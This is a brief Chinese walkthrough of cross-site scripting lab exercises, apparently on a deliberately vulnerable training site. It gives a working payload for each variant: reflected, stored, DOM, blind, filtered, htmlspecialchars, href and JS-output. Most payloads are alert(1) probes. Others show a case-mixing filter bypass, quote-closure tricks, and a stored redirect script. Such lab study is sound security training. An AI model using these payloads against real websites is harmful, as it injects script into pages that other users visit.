反射型
由于字符限制我们不能完整的输入代码,所以修改以下字符长度
输入<script>alert(1)</script>弹框
反射型(post)
右上角查看提示,告知用户名和密码
登陆成功后输入代码
<script>alert(1)</script>
存储型
让其他人跳转到其他的网站,不可逆的攻击
例如要让点击者跳到百度输入<script>document.location="http://www.baidu.com"</script>
DOM型XSS
输入#' οnclick="alert(1)">
DOM型XSS-X
先找到输入点判断闭合类型
输入#' οnclick="alert(1)">
XSS之盲打
输入后不会在页面显示,也不会在页面前端代码里显示,猜测是发送到了后台
先输入<script>alert('1')</script>
提交后点提示我们进入到后台
根据页面提示输入用户名密码
弹窗成功
XSS之过滤
输入<script>alert('1')</script>发现被过滤了
我们用大小写绕过来弹窗
<sCRiPT>alert(1)</ScriPT>
XSS之htmlspecialchars
输入111' "<>&,查看显示结果和页面代码,我们可以看到’ ” <> &都进行了编码
使用单引号进行闭合q' οnclick=alert'(1)' 弹窗成功;
xss之href输出
输入 javascript:alert(1)弹框成功
xss之js输出
输入111发现,我们输进去得回先进行js语句的判断
输入 '</script><script>alert('1')</script> 成闭合并弹窗